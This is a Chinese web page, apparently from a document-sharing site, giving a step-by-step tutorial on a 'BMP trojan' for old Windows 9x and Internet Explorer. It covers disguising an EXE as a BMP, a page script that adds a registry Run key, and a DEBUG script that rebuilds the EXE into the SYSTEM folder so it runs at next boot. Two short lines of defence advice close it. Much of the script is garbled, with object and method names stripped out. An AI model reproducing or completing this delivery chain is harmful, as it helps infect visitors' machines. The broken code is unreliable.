当前位置：文档之家› 制作图片木马教程(如何制作图片木马)

制作图片木马教程(如何制作图片木马)

何谓BMP网页木马它和过去早就用臭了的MIME头漏洞的木马不同，MIME木马是把一个EXE文件用MIME编码为一个EML(OUT LOOK信件)文件，放到网页上利用IE和OE的编码漏洞实现自动下载和执行。

然而BMP木马就不同，它把一个EXE文件伪装成一个BMP图片文件，欺骗IE自动下载，再利用网页中的JAVASCRIPT脚本查找客户端的Internet临时文件夹，找到下载后的BMP文件,把它拷贝到TEMP目录。再编写一个脚本把找到的BMP

文件用DEBUG还原成EXE，并把它放到注册表启动项中，在下一次开机时执行.但是这种技术只能在9X下发挥作用，对于2K、XP来说是无能为力了。

看上去好象很复杂,下面我们一步一步来:

1) EXE变BMP的方法

大家自己去查查BMP文件资料就会知道，BMP文件的文件头有54个字节，简单来说里面包含了BMP文件的长宽、位数、文件大小、数据区长度。我们只要在EXE文件的文件头前面添加相应的BMP文件头(当然BMP文件头里面的数据要符合EXE文件的大小啦)，这样就可以欺骗IE下载该BMP文件，开始我们用JPG

文件做过试验，发现如果文件头不正确的话，是不会下载的，转换代码如下：

以上代码可以在DELPHI4,5,6中编译 ,就可以得到一个文件.大家打开MSDOS方式,输入

exe2bmp

回车就可以把第二个参数所指定的EXE文件转换成BMP格式.

接着就是把这个BMP图片放到网页上了,如果大家打开过这张图片的话,一定发现这张BMP又花,颜色又单调.所以大家放在网页上最好用这样的格式

以下是放在网页上的脚本

{

a=[0];

('{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}');

();

wsh=();

('{0D43FE01-F093-11CF--00A0C228}');

();

fso=();

var winsys=(1);

var vbs=winsys+'\\';

('HKCU\\Software\\Microsoft\\Windows\\CurrentVersion

\\Run\\vbs','wscript '+'"'+vbs+'" ');

var st=(vbs,true);

('Option Explicit');

('Dim FSO,WSH,CACHE,str');

('Set FSO = CreateObject("")');

('Set WSH = CreateObject("")');

('CACHE=("HKCU\\Software\\Microsoft

\\Windows\\CurrentVersion\\Explorer\\ShellFolders\\Cache")'); ('("HKCU\\Software\\Microsoft\\Windows

\\CurrentVersion\\Run\\vbs")');

(' "HKCU\\Software\\Microsoft\\Windows

\\CurrentVersion\\Run\\tmp",""');

('SearchBMPFile (CACHE),"mybmp[1].bmp"'); ('()');

('Function SearchBMPFile(Folder,fname)'); (' Dim SubFolder,File,Lt,tmp,winsys'); (' str=(folder) &

"\\" & & "\\" & fname');

(' if (str) then');

(' tmp=(2) & "\\"');

(' winsys=(1) & "\\"');

(' set File=(str)');

(' (tmp & "")');

(' ');

(' set Lt=(tmp & "")');

(' ("rbx")');

(' ("0")');

(' ("rcx")');

(' ("1000")');

(' ("w136")');

(' ("q")');

(' ');

把该脚本保存为"",在网页中插入:

该脚本主要会在本地机器的SYSTEM目录下生成一个“”文件，该脚本文件会在下次开机时自动运行。主要用于从临时目录中找出mybmp[1].bmp文件。

“”文件主要内容如下:

tmp=(2) & "\"

winsys=(1) & "\"

set File=(str)

(tmp & "")

'生成一个DEBUG脚本

set Lt=(tmp & "")

("rbx")

("0")

("rcx")

'下面一行的1000是十六进制，换回十进制是4096(该数字是你的EXE 文件的大小)

("1000")

("w136")

("q")

"command /c debug " & tmp & " <" & tmp &">" & tmp & "",false,6

On Error Resume Next

(tmp & "").Copy(winsys & "")

(tmp & "").Delete

end if

这个脚本会找出在临时文件夹中的bmp文件,并生成一个DEBUG的脚本,运行时会自动从BMP文件54字节处读去你指定大小的数据,并把它保存到中.后面的脚本再把它复制到SYSTEM的目录下.这个被还原的EXE文件会在下次重起的时候运行.这就是BMP木马的基本实现过程.

防范方法:

最简单,删除或改名文件和DEBUG 文件;

安装有效的杀毒软件,因为这些脚本有好多杀毒软件已经可以查出来了.